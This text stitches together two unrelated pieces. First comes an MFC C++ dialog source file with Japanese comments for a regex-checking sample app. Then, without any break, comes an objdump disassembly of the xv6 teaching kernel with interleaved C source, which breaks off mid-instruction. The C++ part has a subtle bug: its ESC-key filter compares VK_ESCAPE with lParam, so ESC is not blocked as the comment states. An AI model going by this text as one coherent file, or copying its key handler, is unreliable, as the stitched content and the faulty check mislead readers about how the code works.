 // MFC_RegexSampleDlg.cpp : 実装ファイル // #include "pch.h" #include "framework.h" #include "MFC_RegexSample.h" #include "MFC_RegexSampleDlg.h" #include "afxdialogex.h" #include "CRegexCheck.h" #include "MyMessage.h" #ifdef _DEBUG #define new DEBUG_NEW #endif // CMFCRegexSampleDlg ダイアログ CMFCRegexSampleDlg::CMFCRegexSampleDlg(CWnd* pParent /*=nullptr*/) : CDialogEx(IDD_MFC_REGEXSAMPLE_DIALOG, pParent) { m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CMFCRegexSampleDlg::DoDataExchange(CDataExchange* pDX) { CDialogEx::DoDataExchange(pDX); DDX_Text(pDX, IDC_EDIT_CHECK_STRING, this->m_CheckString); DDX_Text(pDX, IDC_EDIT_REG_EXPRESS, this->m_RegExpress); DDX_Control(pDX, IDC_RESULT_LABEL, m_ResultLabel); } BEGIN_MESSAGE_MAP(CMFCRegexSampleDlg, CDialogEx) ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_BUTTON1, &CMFCRegexSampleDlg::OnBnClickedButton1) END_MESSAGE_MAP() // CMFCRegexSampleDlg メッセージ ハンドラー BOOL CMFCRegexSampleDlg::OnInitDialog() { CDialogEx::OnInitDialog(); // このダイアログのアイコンを設定します。アプリケーションのメイン ウィンドウがダイアログでない場合、 // Framework は、この設定を自動的に行います。 SetIcon(m_hIcon, TRUE); // 大きいアイコンの設定 SetIcon(m_hIcon, FALSE); // 小さいアイコンの設定 //イベントリスナー、およびイベント情報を設定する。 this->m_RegExCheck.SetEventId(REGEX_SAMPLE_MESSAGE_UPDATE_STATE); this->m_RegExCheck.AddEventListener(&(this->m_ResultLabel)); return TRUE; // フォーカスをコントロールに設定した場合を除き、TRUE を返します。 } // ダイアログに最小化ボタンを追加する場合、アイコンを描画するための // 下のコードが必要です。ドキュメント/ビュー モデルを使う MFC アプリケーションの場合、 // これは、Framework によって自動的に設定されます。 void CMFCRegexSampleDlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // 描画のデバイス コンテキスト SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0); // クライアントの四角形領域内の中央 int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // アイコンの描画 dc.DrawIcon(x, y, m_hIcon); } else { CDialogEx::OnPaint(); } } // ユーザーが最小化したウィンドウをドラッグしているときに表示するカーソルを取得するために、 // システムがこの関数を呼び出します。 HCURSOR CMFCRegexSampleDlg::OnQueryDragIcon() { return static_cast<HCURSOR>(m_hIcon); } /** * 確認実施ボタンに対するイベントハンドラ */ void CMFCRegexSampleDlg::OnBnClickedButton1() { this->UpdateData(); //現在の入力を取得する。 if ((_T("") == this->m_CheckString) || (_T("") == this->m_RegExpress)) { AfxMessageBox(_T("確認対象の文字列、正規表現の両方を入力してください。"), MB_OK); return; } this->m_RegExCheck.Run(this->m_CheckString, this->m_RegExpress); } /** * キー入力のイベントリスナ * ※ENTERキーとESCキーの押下をキャンセルするために、追加で実装。 */ BOOL CMFCRegexSampleDlg::PreTranslateMessage(MSG* pMsg) { if (WM_KEYDOWN == pMsg->message) { if (VK_RETURN == pMsg->wParam) { TRACE(_T("ENTER KEY pressed.\n")); return TRUE; } else if (VK_ESCAPE == pMsg->lParam) { TRACE(_T("ESCAPE KEY pressed.\n")); return TRUE; } } return CDialogEx::PreTranslateMessage(pMsg); }
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 e0 2d 10 80 mov $0x80102de0,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx { 80100049: 83 ec 14 sub $0x14,%esp initlock(&bcache.lock, "bcache"); 8010004c: c7 44 24 04 20 6e 10 movl $0x80106e20,0x4(%esp) 80100053: 80 80100054: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010005b: e8 e0 3f 00 00 call 80104040 <initlock> bcache.head.next = &bcache.head; 80100060: ba bc fc 10 80 mov $0x8010fcbc,%edx bcache.head.prev = &bcache.head; 80100065: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 8010006c: fc 10 80 bcache.head.next = &bcache.head; 8010006f: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 80100076: fc 10 80 80100079: eb 09 jmp 80100084 <binit+0x44> 8010007b: 90 nop 8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 da mov %ebx,%edx for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100082: 89 c3 mov %eax,%ebx 80100084: 8d 43 0c lea 0xc(%ebx),%eax b->next = bcache.head.next; 80100087: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008a: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100091: 89 04 24 mov %eax,(%esp) 80100094: c7 44 24 04 27 6e 10 movl $0x80106e27,0x4(%esp) 8010009b: 80 8010009c: e8 8f 3e 00 00 call 80103f30 <initsleeplock> bcache.head.next->prev = b; 801000a1: a1 10 fd 10 80 mov 0x8010fd10,%eax 801000a6: 89 58 50 mov %ebx,0x50(%eax) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax 801000af: 3d bc fc 10 80 cmp $0x8010fcbc,%eax bcache.head.next = b; 801000b4: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000ba: 75 c4 jne 80100080 <binit+0x40> } } 801000bc: 83 c4 14 add $0x14,%esp 801000bf: 5b pop %ebx 801000c0: 5d pop %ebp 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 1c sub $0x1c,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi acquire(&bcache.lock); 801000dc: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) { 801000e3: 8b 7d 0c mov 0xc(%ebp),%edi acquire(&bcache.lock); 801000e6: e8 45 40 00 00 call 80104130 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000eb: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000f1: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f7: 75 12 jne 8010010b <bread+0x3b> 801000f9: eb 25 jmp 80100120 <bread+0x50> 801000fb: 90 nop 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 58 jmp 80100188 <bread+0xb8> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 4d je 80100188 <bread+0xb8> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100161: e8 ba 40 00 00 call 80104220 <release> acquiresleep(&b->lock); 80100166: 8d 43 0c lea 0xc(%ebx),%eax 80100169: 89 04 24 mov %eax,(%esp) 8010016c: e8 ff 3d 00 00 call 80103f70 <acquiresleep> struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100171: f6 03 02 testb $0x2,(%ebx) 80100174: 75 08 jne 8010017e <bread+0xae> iderw(b); 80100176: 89 1c 24 mov %ebx,(%esp) 80100179: e8 92 1f 00 00 call 80102110 <iderw> } return b; } 8010017e: 83 c4 1c add $0x1c,%esp 80100181: 89 d8 mov %ebx,%eax 80100183: 5b pop %ebx 80100184: 5e pop %esi 80100185: 5f pop %edi 80100186: 5d pop %ebp 80100187: c3 ret panic("bget: no buffers"); 80100188: c7 04 24 2e 6e 10 80 movl $0x80106e2e,(%esp) 8010018f: e8 cc 01 00 00 call 80100360 <panic> 80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801001a0 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 14 sub $0x14,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 89 04 24 mov %eax,(%esp) 801001b0: e8 5b 3e 00 00 call 80104010 <holdingsleep> 801001b5: 85 c0 test %eax,%eax 801001b7: 74 10 je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001b9: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bc: 89 5d 08 mov %ebx,0x8(%ebp) } 801001bf: 83 c4 14 add $0x14,%esp 801001c2: 5b pop %ebx 801001c3: 5d pop %ebp iderw(b); 801001c4: e9 47 1f 00 00 jmp 80102110 <iderw> panic("bwrite"); 801001c9: c7 04 24 3f 6e 10 80 movl $0x80106e3f,(%esp) 801001d0: e8 8b 01 00 00 call 80100360 <panic> 801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 83 ec 10 sub $0x10,%esp 801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 89 34 24 mov %esi,(%esp) 801001f1: e8 1a 3e 00 00 call 80104010 <holdingsleep> 801001f6: 85 c0 test %eax,%eax 801001f8: 74 5b je 80100255 <brelse+0x75> panic("brelse"); releasesleep(&b->lock); 801001fa: 89 34 24 mov %esi,(%esp) 801001fd: e8 ce 3d 00 00 call 80103fd0 <releasesleep> acquire(&bcache.lock); 80100202: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100209: e8 22 3f 00 00 call 80104130 <acquire> b->refcnt--; if (b->refcnt == 0) { 8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx) 80100212: 75 2f jne 80100243 <brelse+0x63> // no one is waiting for it. b->next->prev = b->prev; 80100214: 8b 43 54 mov 0x54(%ebx),%eax 80100217: 8b 53 50 mov 0x50(%ebx),%edx 8010021a: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 8010021d: 8b 43 50 mov 0x50(%ebx),%eax 80100220: 8b 53 54 mov 0x54(%ebx),%edx 80100223: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100226: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 8010022b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->next = bcache.head.next; 80100232: 89 43 54 mov %eax,0x54(%ebx) bcache.head.next->prev = b; 80100235: a1 10 fd 10 80 mov 0x8010fd10,%eax 8010023a: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 8010023d: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 80100243: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 8010024a: 83 c4 10 add $0x10,%esp 8010024d: 5b pop %ebx 8010024e: 5e pop %esi 8010024f: 5d pop %ebp release(&bcache.lock); 80100250: e9 cb 3f 00 00 jmp 80104220 <release> panic("brelse"); 80100255: c7 04 24 46 6e 10 80 movl $0x80106e46,(%esp) 8010025c: e8 ff 00 00 00 call 80100360 <panic> 80100261: 66 90 xchg %ax,%ax 80100263: 66 90 xchg %ax,%ax 80100265: 66 90 xchg %ax,%ax 80100267: 66 90 xchg %ax,%ax 80100269: 66 90 xchg %ax,%ax 8010026b: 66 90 xchg %ax,%ax 8010026d: 66 90 xchg %ax,%ax 8010026f: 90 nop 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 1c sub $0x1c,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 89 3c 24 mov %edi,(%esp) 80100282: e8 f9 14 00 00 call 80101780 <iunlock> target = n; acquire(&cons.lock); 80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028e: e8 9d 3e 00 00 call 80104130 <acquire> while(n > 0){ 80100293: 8b 55 10 mov 0x10(%ebp),%edx 80100296: 85 d2 test %edx,%edx 80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea> 8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx 801002a1: eb 25 jmp 801002c8 <consoleread+0x58> 801002a3: 90 nop 801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.r == input.w){ if(myproc()->killed){ 801002a8: e8 e3 33 00 00 call 80103690 <myproc> 801002ad: 8b 40 24 mov 0x24(%eax),%eax 801002b0: 85 c0 test %eax,%eax 801002b2: 75 74 jne 80100328 <consoleread+0xb8> release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b4: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp) 801002bb: 80 801002bc: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) 801002c3: e8 28 39 00 00 call 80103bf0 <sleep> while(input.r == input.w){ 801002c8: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801002cd: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801002d3: 74 d3 je 801002a8 <consoleread+0x38> } c = input.buf[input.r++ % INPUT_BUF]; 801002d5: 8d 50 01 lea 0x1(%eax),%edx 801002d8: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 801002de: 89 c2 mov %eax,%edx 801002e0: 83 e2 7f and $0x7f,%edx 801002e3: 0f b6 8a 20 ff 10 80 movzbl -0x7fef00e0(%edx),%ecx 801002ea: 0f be d1 movsbl %cl,%edx if(c == C('D')){ // EOF 801002ed: 83 fa 04 cmp $0x4,%edx 801002f0: 74 57 je 80100349 <consoleread+0xd9> // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 801002f2: 83 c6 01 add $0x1,%esi --n; 801002f5: 83 eb 01 sub $0x1,%ebx if(c == '\n') 801002f8: 83 fa 0a cmp $0xa,%edx *dst++ = c; 801002fb: 88 4e ff mov %cl,-0x1(%esi) if(c == '\n') 801002fe: 74 53 je 80100353 <consoleread+0xe3> while(n > 0){ 80100300: 85 db test %ebx,%ebx 80100302: 75 c4 jne 801002c8 <consoleread+0x58> 80100304: 8b 45 10 mov 0x10(%ebp),%eax break; } release(&cons.lock); 80100307: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010030e: 89 45 e4 mov %eax,-0x1c(%ebp) 80100311: e8 0a 3f 00 00 call 80104220 <release> ilock(ip); 80100316: 89 3c 24 mov %edi,(%esp) 80100319: e8 82 13 00 00 call 801016a0 <ilock> 8010031e: 8b 45 e4 mov -0x1c(%ebp),%eax return target - n; 80100321: eb 1e jmp 80100341 <consoleread+0xd1> 80100323: 90 nop 80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010032f: e8 ec 3e 00 00 call 80104220 <release> ilock(ip); 80100334: 89 3c 24 mov %edi,(%esp) 80100337: e8 64 13 00 00 call 801016a0 <ilock> return -1; 8010033c: b8 ff ff ff ff mov $0xffffffff,%eax } 80100341: 83 c4 1c add $0x1c,%esp 80100344: 5b pop %ebx 80100345: 5e pop %esi 80100346: 5f pop %edi 80100347: 5d pop %ebp 80100348: c3 ret if(n < target){ 80100349: 39 5d 10 cmp %ebx,0x10(%ebp) 8010034c: 76 05 jbe 80100353 <consoleread+0xe3> input.r--; 8010034e: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100353: 8b 45 10 mov 0x10(%ebp),%eax 80100356: 29 d8 sub %ebx,%eax 80100358: eb ad jmp 80100307 <consoleread+0x97> while(n > 0){ 8010035a: 31 c0 xor %eax,%eax 8010035c: eb a9 jmp 80100307 <consoleread+0x97> 8010035e: 66 90 xchg %ax,%ax 80100360 <panic>: { 80100360: 55 push %ebp 80100361: 89 e5 mov %esp,%ebp 80100363: 56 push %esi 80100364: 53 push %ebx 80100365: 83 ec 40 sub $0x40,%esp } static inline void cli(void) { asm volatile("cli"); 80100368: fa cli cons.locking = 0; 80100369: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 80100370: 00 00 00 getcallerpcs(&s, pcs); 80100373: 8d 5d d0 lea -0x30(%ebp),%ebx cprintf("lapicid %d: panic: ", lapicid()); 80100376: e8 d5 23 00 00 call 80102750 <lapicid> 8010037b: 8d 75 f8 lea -0x8(%ebp),%esi 8010037e: c7 04 24 4d 6e 10 80 movl $0x80106e4d,(%esp) 80100385: 89 44 24 04 mov %eax,0x4(%esp) 80100389: e8 c2 02 00 00 call 80100650 <cprintf> cprintf(s); 8010038e: 8b 45 08 mov 0x8(%ebp),%eax 80100391: 89 04 24 mov %eax,(%esp) 80100394: e8 b7 02 00 00 call 80100650 <cprintf> cprintf("\n"); 80100399: c7 04 24 8b 78 10 80 movl $0x8010788b,(%esp) 801003a0: e8 ab 02 00 00 call 80100650 <cprintf> getcallerpcs(&s, pcs); 801003a5: 8d 45 08 lea 0x8(%ebp),%eax 801003a8: 89 5c 24 04 mov %ebx,0x4(%esp) 801003ac: 89 04 24 mov %eax,(%esp) 801003af: e8 ac 3c 00 00 call 80104060 <getcallerpcs> 801003b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf(" %p", pcs[i]); 801003b8: 8b 03 mov (%ebx),%eax 801003ba: 83 c3 04 add $0x4,%ebx 801003bd: c7 04 24 61 6e 10 80 movl $0x80106e61,(%esp) 801003c4: 89 44 24 04 mov %eax,0x4(%esp) 801003c8: e8 83 02 00 00 call 80100650 <cprintf> for(i=0; i<10; i++) 801003cd: 39 f3 cmp %esi,%ebx 801003cf: 75 e7 jne 801003b8 <panic+0x58> panicked = 1; // freeze other CPU 801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 801003d8: 00 00 00 801003db: eb fe jmp 801003db <panic+0x7b> 801003dd: 8d 76 00 lea 0x0(%esi),%esi 801003e0 <consputc>: if(panicked){ 801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx 801003e6: 85 d2 test %edx,%edx 801003e8: 74 06 je 801003f0 <consputc+0x10> 801003ea: fa cli 801003eb: eb fe jmp 801003eb <consputc+0xb> 801003ed: 8d 76 00 lea 0x0(%esi),%esi { 801003f0: 55 push %ebp 801003f1: 89 e5 mov %esp,%ebp 801003f3: 57 push %edi 801003f4: 56 push %esi 801003f5: 53 push %ebx 801003f6: 89 c3 mov %eax,%ebx 801003f8: 83 ec 1c sub $0x1c,%esp if(c == BACKSPACE){ 801003fb: 3d 00 01 00 00 cmp $0x100,%eax 80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2> uartputc(c); 80100406: 89 04 24 mov %eax,(%esp) 80100409: e8 22 54 00 00 call 80105830 <uartputc> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010040e: bf d4 03 00 00 mov $0x3d4,%edi 80100413: b8 0e 00 00 00 mov $0xe,%eax 80100418: 89 fa mov %edi,%edx 8010041a: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010041b: be d5 03 00 00 mov $0x3d5,%esi 80100420: 89 f2 mov %esi,%edx 80100422: ec in (%dx),%al pos = inb(CRTPORT+1) << 8; 80100423: 0f b6 c8 movzbl %al,%ecx asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100426: 89 fa mov %edi,%edx 80100428: c1 e1 08 shl $0x8,%ecx 8010042b: b8 0f 00 00 00 mov $0xf,%eax 80100430: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100431: 89 f2 mov %esi,%edx 80100433: ec in (%dx),%al pos |= inb(CRTPORT+1); 80100434: 0f b6 c0 movzbl %al,%eax 80100437: 09 c1 or %eax,%ecx if(c == '\n') 80100439: 83 fb 0a cmp $0xa,%ebx 8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f> else if(c == BACKSPACE){ 80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx 80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156> crt[pos++] = (c&0xff) | 0x0700; // black on white 8010044e: 0f b6 db movzbl %bl,%ebx 80100451: 80 cf 07 or $0x7,%bh 80100454: 8d 79 01 lea 0x1(%ecx),%edi 80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1) 8010045e: 80 if(pos < 0 || pos > 25*80) 8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi 80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a> if((pos/80) >= 24){ // Scroll up. 8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi 80100471: 7f 68 jg 801004db <consputc+0xfb> 80100473: 89 f8 mov %edi,%eax 80100475: 89 fb mov %edi,%ebx 80100477: c1 e8 08 shr $0x8,%eax 8010047a: 89 c6 mov %eax,%esi 8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100483: bf d4 03 00 00 mov $0x3d4,%edi 80100488: b8 0e 00 00 00 mov $0xe,%eax 8010048d: 89 fa mov %edi,%edx 8010048f: ee out %al,(%dx) 80100490: 89 f0 mov %esi,%eax 80100492: b2 d5 mov $0xd5,%dl 80100494: ee out %al,(%dx) 80100495: b8 0f 00 00 00 mov $0xf,%eax 8010049a: 89 fa mov %edi,%edx 8010049c: ee out %al,(%dx) 8010049d: 89 d8 mov %ebx,%eax 8010049f: b2 d5 mov $0xd5,%dl 801004a1: ee out %al,(%dx) crt[pos] = ' ' | 0x0700; 801004a2: b8 20 07 00 00 mov $0x720,%eax 801004a7: 66 89 01 mov %ax,(%ecx) } 801004aa: 83 c4 1c add $0x1c,%esp 801004ad: 5b pop %ebx 801004ae: 5e pop %esi 801004af: 5f pop %edi 801004b0: 5d pop %ebp 801004b1: c3 ret uartputc('\b'); uartputc(' '); uartputc('\b'); 801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004b9: e8 72 53 00 00 call 80105830 <uartputc> 801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004c5: e8 66 53 00 00 call 80105830 <uartputc> 801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004d1: e8 5a 53 00 00 call 80105830 <uartputc> 801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e> memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp) 801004e2: 00 pos -= 80; 801004e3: 8d 5f b0 lea -0x50(%edi),%ebx memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp) 801004ed: 80 memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp) 801004fc: e8 0f 3e 00 00 call 80104310 <memmove> memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100501: b8 d0 07 00 00 mov $0x7d0,%eax 80100506: 29 f8 sub %edi,%eax 80100508: 01 c0 add %eax,%eax 8010050a: 89 34 24 mov %esi,(%esp) 8010050d: 89 44 24 08 mov %eax,0x8(%esp) 80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100518: 00 80100519: e8 52 3d 00 00 call 80104270 <memset> 8010051e: 89 f1 mov %esi,%ecx 80100520: be 07 00 00 00 mov $0x7,%esi 80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3> panic("pos under/overflow"); 8010052a: c7 04 24 65 6e 10 80 movl $0x80106e65,(%esp) 80100531: e8 2a fe ff ff call 80100360 <panic> if(pos > 0) --pos; 80100536: 85 c9 test %ecx,%ecx 80100538: 8d 79 ff lea -0x1(%ecx),%edi 8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f> 80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx 80100546: 31 db xor %ebx,%ebx 80100548: 31 f6 xor %esi,%esi 8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3> pos += 80 - pos%80; 8010054f: 89 c8 mov %ecx,%eax 80100551: ba 67 66 66 66 mov $0x66666667,%edx 80100556: f7 ea imul %edx 80100558: c1 ea 05 shr $0x5,%edx 8010055b: 8d 04 92 lea (%edx,%edx,4),%eax 8010055e: c1 e0 04 shl $0x4,%eax 80100561: 8d 78 50 lea 0x50(%eax),%edi 80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f> 80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100570 <printint>: { 80100570: 55 push %ebp 80100571: 89 e5 mov %esp,%ebp 80100573: 57 push %edi 80100574: 56 push %esi 80100575: 89 d6 mov %edx,%esi 80100577: 53 push %ebx 80100578: 83 ec 1c sub $0x1c,%esp if(sign && (sign = xx < 0)) 8010057b: 85 c9 test %ecx,%ecx 8010057d: 74 61 je 801005e0 <printint+0x70> 8010057f: 85 c0 test %eax,%eax 